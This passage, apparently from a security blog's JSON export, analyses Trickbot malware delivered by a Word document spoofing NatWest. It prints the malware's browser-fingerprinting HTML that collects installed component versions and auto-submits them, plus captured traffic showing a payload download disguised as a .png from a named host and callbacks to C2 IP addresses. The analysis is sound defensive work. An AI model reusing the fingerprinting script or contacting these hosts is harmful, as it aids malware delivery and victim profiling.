str+='xie.ScriptEngineBuildVersion()='+String(ScriptEngineBuildVersion())+'\\n';\r\n  } else {\r\n    str+='xie.ScriptEngineBuildVersion()=\\n';\r\n  }\r\n  textedit = document.getElementById("data");\r\n  textedit.value = str;\r\n}\r\n\r\n<\/script>\r\n<\/head>\r\n<body>\r\n <form name="frm" action="marker_" method="post">\r\n <textarea id="data" name="values" cols="100" rows="20">\r\n\r\n <\/textarea><br>\r\n <input id="ie" name="ie" type="hidden">\r\n <input type="submit" value="send" >\r\n <\/form>\r\n <script>ahead();frm.submit()<\/script>\r\n<\/body>\r\n<\/html>\r\n\r\n<!DOCTYPE html>\r\n<html>\r\n<head>\r\n<meta http-equiv="X-UA-Compatible" content="IE=10">\r\n<script type="text\/javascript">\r\nfunction ahead()\r\n{\r\n  var str = new String('');\r\n  try{\r\n  var components = new Array(\r\n      '7790769C-0471-11D2-AF11-00C04FA35D02',\r\n      '89820200-ECBD-11CF-8B85-00AA005B4340',\r\n      '47F67D00-9E55-11D1-BAEF-00C04FC2D130',\r\n      '76C19B38-F0C8-11CF-87CC-0020AFEECF20',\r\n      '76C19B34-F0C8-11CF-87CC-0020AFEECF20',\r\n      '76C19B33-F0C8-11CF-87CC-0020AFEECF20',\r\n      '9381D8F2-0288-11D0-9501-00AA00B911A5',\r\n      '4F216970-C90C-11D1-B5C7-0000F8051515',\r\n      '283807B5-2C60-11D0-A31D-00AA00B92C03',\r\n      '44BBA848-CC51-11CF-AAFA-00AA00B6015C',\r\n      '76C19B36-F0C8-11CF-87CC-0020AFEECF20',\r\n      '89820200-ECBD-11CF-8B85-00AA005B4383',\r\n      '5A8D6EE0-3E18-11D0-821E-444553540000',\r\n      '630B1DA0-B465-11D1-9948-00C04F98BBC9',\r\n      '08B0E5C0-4FCB-11CF-AAA5-00401C608555',\r\n      '45EA75A0-A269-11D1-B5BF-0000F8051515',\r\n      'DE5AED00-A4BF-11D1-9948-00C04F98BBC9',\r\n      '76C19B30-F0C8-11CF-87CC-0020AFEECF20',\r\n      '76C19B31-F0C8-11CF-87CC-0020AFEECF20',\r\n      '76C19B50-F0C8-11CF-87CC-0020AFEECF20',\r\n      'D27CDB6E-AE6D-11CF-96B8-444553540000',\r\n      '2A202491-F00D-11CF-87CC-0020AFEECF20',\r\n      '5945C046-LE7D-LLDL-BC44-00C04FD912BE',\r\n      '22D6F312-B0F6-11D0-94AB-0080C74C7E95',\r\n      '3AF36230-A269-11D1-B5BF-0000F8051515',\r\n      '44BBA840-CC51-11CF-AAFA-00AA00B6015C',\r\n      '44BBA842-CC51-11CF-AAFA-00AA00B6015B',\r\n      '76C19B32-F0C8-11CF-87CC-0020AFEECF20',\r\n      '76C19B35-F0C8-11CF-87CC-0020AFEECF20',\r\n      'CC2A9BA0-3BDD-11D0-821E-444553540000',\r\n      '3BF42070-B3B1-11D1-B5C5-0000F8051515',\r\n      '10072CEC-8CC1-11D1-986E-00A0C955B42F',\r\n      '76C19B37-F0C8-11CF-87CC-0020AFEECF20',\r\n      '08B0E5C0-4FCB-11CF-AAA5-00401C608500',\r\n      '4F645220-306D-11D2-995D-00C04F98BBC9',\r\n      '73FA19D0-2D75-11D2-995D-00C04F98BBC9'\r\n      );\r\n  document.body.addBehavior('#default#clientCaps');\r\n  for (i = 0; i < components.length; i++)\r\n  {\r\n    var ver = document.body.getComponentVersion('{'+components[i]+'}','ComponentID');\r\n    if (ver)\r\n    {\r\n      p=String(i+1);\r\n      str+='xie.com.'+p+'.guid='+'{'+components[i]+'}\\n';\r\n      str+='xie.com.'+p+'.version='+ver+'\\n';\r\n    }\r\n  }\r\n  } catch(e){\r\n    str='exept=true';\r\n  }\r\n  textedit = document.getElementById('data');\r\n  textedit.value = str;\r\n}\r\n<\/script>\r\n<\/head>\r\n<body>\r\n<form name="frm" action="marker_" method="post">\r\n<textarea id="data" name="values" cols="100" rows="20">\r\n\r\n<\/textarea><br>\r\n<input type="submit" value="send" >\r\n<\/form>\r\n<script>ahead();frm.submit()<\/script>\r\n<\/body>\r\n<\/html>\r\n\r\n<!DOCTYPE html>\r\n<html>\r\n<head>\r\n<\/head>\r\n<body>\r\n<script><\/script>\r\n<\/body>\r\n<\/html>\r\n\r\n<!DOCTYPE html>\r\n<html>\r\n<head>\r\n<\/head>\r\n<body>\r\n<script>close();<\/script>\r\n<\/body>\r\n<\/html><\/pre>\n
From a network traffic perspective, the initial compromise stems from the Word document reaching out via the script to the site of campuslinne[.]com\/pages\/kasaragarban[.]png and downloading a malicious binary.<\/p>\n
\r\nGET \/pages\/kasaragarban.png HTTP\/1.1\r\nHost: campuslinne.com\r\nConnection: Keep-Alive\r\n\r\nHTTP\/1.1 200 OK\r\nDate: Wed, 30 Aug 2017 12:55:41 GMT\r\nServer: Apache\r\nLast-Modified: Wed, 30 Aug 2017 06:49:01 GMT\r\nETag: "500ae7-74400-557f2ec43a91b"\r\nAccept-Ranges: bytes\r\nContent-Length: 476160\r\nX-Powered-By: PleskLin\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: image\/png\r\n\r\nMZ......................@.............................................\t.!..L.!This program cannot be run in DOS mode.<\/pre>\n
Once the binary has executed, we see a call to get the external IP address of my host.<\/p>\n
\r\nGET \/ HTTP\/1.1\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/57.0.2987.133 Safari\/537.36\r\nHost: api.ipify.org\r\n\r\nHTTP\/1.1 200 OK\r\nServer: Cowboy\r\nConnection: keep-alive\r\nAccess-Control-Allow-Origin: *\r\nContent-Type: text\/plain\r\nDate: Wed, 30 Aug 2017 12:55:57 GMT\r\nContent-Length: 13\r\nVia: 1.1 vegur\r\n\r\n173.244.48.13<\/pre>\n
From here, we start to see some different callbacks being made over the network. Calls made to the IP address of 5.2.76.34 seem to have died since there was an ICMP Type 11 Code 0 for all those requests. All requests that I have seen over port 449 look to be encrypted. For example:<\/p>\n
\r\n.....\t.\r\n.2.8..............\r\n..................Y...U.....i.Si..\/qq....zo.k....0P...... ....9.0g....LK3..v.N..O&s..LZ.......\r\n.................U...Q..N..K0..G0....\t...(..R..0\r\n.\t*.H..\r\n.....0h1.0\t..U....AU1.0\r\n..U....f2tee41.0...U....gf23et65adt1.0...U.\r\n..tg4r6tds1.0\r\n..U....rst1.0...U....rvgvtfdf0..\r\n170607185419Z.\r\n180607185419Z0h1.0\t..U....AU1.0\r\n..U....f2tee41.0...U....gf23et65adt1.0...U.\r\n..tg4r6tds1.0\r\n..U....rst1.0...U....rvgvtfdf0..0\r\n.\t*.H..\r\n.........0........c....@.dy.....o.f.;.f..@.....Fj......"......\r\n.L.\r\n.V.......C[&?"q:...fm..#.3.....6~..h#p........=\r\nVV....7.-......-....u.^h..........0\r\n.\t*.H..\r\n..........WFnG..;Y.c...J...L2._..:5zh.2....+.)'X;.q.\/a..,<,,...i.....\r\n..Ss.....=.KpyM....*....y..0.-...p.~.$.o.f....y3\/....$...u...:.H.].............A.......jq...?.uhf\/......d...<Z.5=C....Rn.e..ZNS.[8...).r8..\/#.<......Y...R...y..W.....t.<.......p.5~.....@....Jx.s4.....e..m..0.G+.s.}:)....\r\n7......u..P}FP=x+.....zu...Fxcq.b.h7.P...Q.6.V...=\r\n................F...BA.B.0.].6.{.`e\r\n..l...^YB:....@a]...>......{.."..RQQ.xA....'ew...z...........0.N..kl.J.p0....z..Vi....\\....aj.....Z.(..&.....L..........0y.&.C..f6.[.h..]e....o.C.s.bG.[DEf.l.}$.HZ$...J..... ..h.......Ys}.w.(d..9-....l.a....\r\n...kJ...5.>...b..R..p..E..(.,....%..k.Q.e..0..3.h.N....OO..u.U.[...6Q^.A....`.#h.2....9.`A=xx....8...|.....o=..S......f=<...Z..1?&..p.N..O..Q)...Ar.]..2..L.-..- T.v\tGm.\r\n.R.u......[...8.s.j2.j.]NA....!....n..Q..j....*u..'.IEE..cB.'ELR.E*.X.UXZ9A..\t$...,^........cQ2.D.......Y.|=....SO<..Z.."x.3.N..m.q..O~.g.e.[Uj....M`2.7..L......qC. . .......q+%Z..5...W....\\.."....100....8..Y".E(r.#r........6.;2......\t<.....uQ.!...K.'.Z..F.)..$.0w.A.... .R..Q9...ku......J..VC.L..W4..i..... ,8............n...I.m....}.IR].u<\/pre>\n
And like I stated above – whenever visiting a site that is listed in the XML above (ie: http:\/\/bank.barclays.co.uk\/olb\/auth\/LoginLink.action) there is encrypted traffic to the IP address of 210.16.101.54.<\/p>\n
\"\"<\/a><\/p>\n
I also noticed that after a couple of reboots since my VM was acting up, I started to get some other callbacks on ports that I had not seen before. For example these three requests:<\/p>\n
\"\"<\/a><\/p>\n
\"\"<\/a><\/p>\n
\"\"<\/a><\/p>\n
The above looks to be possibly related to the Pony gate based on the “\/gate.php?clientid=[a long string].”<\/p>\n
Another odd thing that I noticed was that some DNS requests for “changetheworld.bit” was using TCP instead of UDP and using different DNS servers as well which is something that I have not seen before.<\/p>\n
\"\"<\/a><\/p>\n
At this point, I am going to conclude this post and pick this up tomorrow and look at the new PCAP and VM as it seems that I have received an update. Until then…<\/p>\n","protected":false},"excerpt":{"rendered":"
For today’s post, I will be looking at a malicious Word document that we got spoofing NatWest which led to Trickbot malware being installed on the system. After I found this sample, I started to see posts on Tweeter from people like @dvk01uk and @VK_Intel posting about Trickbot. For this initial investigation there are three PCAPs since I initially did not see much going on after the initial infection, and then after a couple of minutes I started to see more traffic and fired up Wireshark again to see what I could capture. The last one is from when I…<\/p>\n
 Continue reading<\/span><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[13],"class_list":["post-949","post","type-post","status-publish","format-standard","hentry","category-packet-analysis","tag-trickbot"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/949","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=949"}],"version-history":[{"count":8,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/949\/revisions"}],"predecessor-version":[{"id":974,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/949\/revisions\/974"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=949"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=949"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=949"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}